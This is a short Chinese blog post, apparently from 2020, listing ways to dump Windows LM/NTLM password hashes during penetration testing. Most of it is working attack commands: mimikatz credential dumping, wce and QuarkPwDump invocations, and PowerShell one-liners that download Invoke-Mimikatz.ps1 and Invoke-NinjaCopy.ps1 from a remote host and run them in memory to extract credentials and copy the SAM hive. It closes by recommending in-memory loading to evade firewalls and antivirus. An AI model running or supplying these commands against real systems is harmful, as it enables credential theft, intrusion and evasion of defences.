windows下hash抓取的几种方式

前提:在渗透测试过程中,对于windows系统的机器渗透需要注意hash的获取,其中hash分为LM-HASH与NTLM-HASH,在windows系统中,hash的默认存储位置为: C:\Windows\System32\config\SAM

各种工具:

  • mimikatz 
  • privilege::debug 
    sekurlsa::logonPasswords
  • wce 
  • wce.exe
  • QuarkPwDump 
    QuarkPwDump.exe -dhl
  • powershell脚本: 
    • 使用powersploit中的mimikatz.ps1 
    • mimikatz在线加载:
      powershell -exec bypass "IEX (New-Object Net.WebClient).DownloadString('http://ip/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Dumpcreds"
    • 本地加载:
      powershell -exec bypass "import-module Invoke-Mimikatz.ps1;Invoke-Mimikatz -Dumpcreds"

Ninja-copy 在线加载: 

powershell -exec bypass "IEX (New-Object Net.WebClient).DownloadString('http://ip/Invoke-NinjaCopy.ps1');Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination C:\SAM.txt;" 

本地加载: 

powershell -exec bypass "Import-Module .\Invoke-NinjaCopy.ps1;Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination .\sam.hive" 

后记:为防止防火墙,杀软等工具杀掉ps1脚本,推荐使用在线加载的方式,文件不落地

posted @ 2020-08-04 14:33  逗比大师  阅读(1195)  评论(0编辑  收藏  举报